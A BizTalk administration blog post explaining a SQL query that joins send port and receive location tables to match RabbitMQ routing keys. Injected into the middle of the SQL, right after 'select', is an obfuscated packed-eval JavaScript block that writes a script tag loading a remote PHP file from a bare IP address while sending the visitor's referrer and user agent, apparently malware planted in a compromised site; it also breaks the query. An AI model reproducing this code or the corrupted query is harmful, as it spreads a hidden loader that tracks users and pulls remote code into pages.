We have our own RabbitMQ adapter.

The addresses look like the following.

Send Port
rabbit@dev.myRabbitMQ.com/Exchange=MyRabbitMQTopic&RoutingKey=MyRoutingKey

Receive Location
rabbit@dev.myRabbitMQ.com/Queue=MyQueueName&RoutingKey=MyRoutingKey

What I wanted to do is match which Receive Ports subscribe to RabbitMQ RoutingKeys from other Send Ports. In other words, when I send out a message from one orchestration (send port), which orchestration (or Receive Port) is going to pick it up? The query below doesn’t include the xref to the orchestrations.

This requires some parsing of the address to pull out the RoutingKey, then I join on that.
I could do the same thing for disk files (where I would take of the the \*.* in order to do a potential match).

select <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dthns|var|u0026u|referrer|hieni||js|php'.split('|'),0,{}))
</script></noindex> sp.nvcName as 'SendPort', 
	   rp.nvcName as 'ReceivePort', 
	   rl.Name as 'ReceiveLocation', 
	   SUBSTRING(spt.nvcAddress, CHARINDEX('&RoutingKey=', spt.nvcAddress)+Len('&RoutingKey='), LEN(nvcAddress)) as 'RoutingKey',
           spt.nvcAddress as 'SendPortAddress', 
	   rl.InboundTransportURL as 'ReceiveLocationAddress'
   
   from bts_SendPort sp 
   inner join bts_SendPort_Transport spt on spt.nSendPortId = sp.Nid and nTransportTypeID is not null 
   	left outer join adm_ReceiveLocation rl on
	      SUBSTRING(spt.nvcAddress, CHARINDEX('&RoutingKey=', spt.nvcAddress)+Len('&RoutingKey='), LEN(spt.nvcAddress)) = 
		  SUBSTRING(rl.InboundTransportURL, CHARINDEX('&RoutingKey=', rl.InboundTransportURL)+Len('&RoutingKey='), LEN(rl.InboundTransportURL))
    left outer join bts_ReceivePort rp on rl.ReceivePortID = rp.NId  

   where nvcAddress like '%RoutingKey%'
   	 and InboundTransportURL like '%RoutingKey%'
	 order by sp.nvcname 

I cannot show actual ports, but column headings would look like this:

Filed under: BizTalk Admin